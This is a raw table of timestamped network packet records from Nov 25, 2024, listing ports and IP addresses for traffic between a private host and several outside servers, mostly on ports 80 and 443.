Nov 25, 2024 14:14:39.815098047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.815139055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.816103935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.816160917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.816205025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.816303015 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.817190886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.817286968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.817373037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.817414999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.817485094 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.817503929 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.818036079 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:39.818041086 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:39.818223953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.818356991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.818391085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.818480968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.819489956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.819556952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.819850922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.819888115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.821275949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.821508884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.821537018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.821579933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.822849035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.822904110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.822930098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.823069096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.823473930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.823702097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.823862076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.823930025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.824460983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.824528933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.824563026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.824605942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.825130939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.825176001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.825407028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.825469017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.825961113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.825973988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.826006889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.826771975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.826812983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.827085018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.827169895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.827837944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.827913046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.828171968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.828439951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.828550100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.828906059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.828955889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.829272985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.829309940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.830008984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.830063105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.830185890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.830233097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.831131935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.831285954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.831569910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.831612110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.832123995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.832165956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.832530975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.832612991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.833350897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.833365917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.833415031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.834286928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.834330082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.929589987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.049611092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.122242928 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.122323036 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.124650955 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.124650955 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.124712944 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.124748945 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.128320932 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.128365040 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.132472038 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.132472038 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.132560015 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.151532888 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.151606083 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.151763916 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.151918888 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.151918888 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.151938915 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.151949883 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.155879021 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.155921936 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.156052113 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.156567097 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.156584978 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.166184902 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166212082 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166218996 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166249990 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166260958 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166276932 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166287899 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.166301012 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.166313887 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.166322947 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.166409969 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.192492962 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.192548037 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.192822933 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.192822933 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.192996025 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.193006039 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.195604086 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.195627928 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.195708036 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.195869923 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.195882082 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.196446896 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196470976 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196477890 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196521997 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196562052 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196583033 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196600914 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.196619034 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.196650028 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.196650028 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.197056055 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.257740974 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:40.258064985 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:40.258086920 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:40.259135008 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:40.259366035 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:40.260327101 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:40.260412931 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:40.260590076 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:40.263890028 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.263956070 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.264255047 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.264255047 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.264441967 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.264456987 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.267415047 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.267442942 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.267632961 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.267735958 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.267750025 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.307333946 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:40.314145088 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:40.314163923 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:40.338140011 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.338165998 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.338315964 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.338335991 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.338455915 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.364150047 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:40.374366999 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.376339912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.376425028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.376529932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.376662970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.376862049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.376873970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.377059937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.377612114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.377698898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.377718925 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.377731085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.377732992 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.377969027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.378417015 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:40.378422022 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:40.378578901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.378707886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.379170895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.379304886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.379686117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.379878044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.379879951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.380115986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.380706072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.380728960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.381186962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.381733894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.381923914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.381956100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.382076979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.382817030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.382905960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.383080006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.383196115 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.383225918 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.383238077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.383279085 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.383304119 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.383368969 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.383845091 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.384023905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.384088993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.384231091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.384319067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.384540081 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.384561062 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.384712934 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.384722948 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.385023117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.385060072 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.385102987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.385610104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.385723114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.386025906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.386101007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.386122942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.386365891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.387119055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.387222052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.387438059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.387603998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.388194084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.388437986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.388468027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.389260054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.389271975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.389760017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.390305996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.390367985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.390396118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.390535116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.391472101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.391700029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.391724110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.391947031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.393352032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.393452883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.393821955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.395279884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.395462036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.395915031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.396089077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.397485971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.397564888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.398041964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.398176908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.398703098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.398767948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.398771048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.398874044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.399075031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.399158001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.399357080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.400012016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.400091887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.400338888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.400418043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.400854111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.400893927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.400918961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.401135921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.401621103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.401837111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.401895046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.402256012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.402400017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.402410030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.402487040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.403028011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.403256893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.403281927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.404109001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.404122114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.404684067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.404922009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.405065060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.405227900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.405433893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.405610085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.405622959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.405807018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.406518936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.406539917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.406589985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.406589985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.407768965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.407821894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.407947063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.408006907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.408546925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.408716917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.408723116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.408813953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.409749031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.409822941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.410552025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.410700083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.410761118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.410875082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.460405111 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.460423946 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.460524082 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.460544109 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.460634947 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.502396107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.502410889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.502561092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.502836943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.502890110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.503010988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.503093004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.503928900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.504143953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.504283905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.504355907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.505012989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.505208015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.505325079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.505546093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.506108999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.506119967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.506182909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.507170916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.507189035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.507261992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.507261992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.508205891 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.508229017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.508241892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.508268118 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.508322001 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.508322001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:40.508335114 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:40.508366108 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.508654118 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:40.511712074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.511864901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:40.511893988 CET	49760	80	192.168.2.5	185.215.113.206
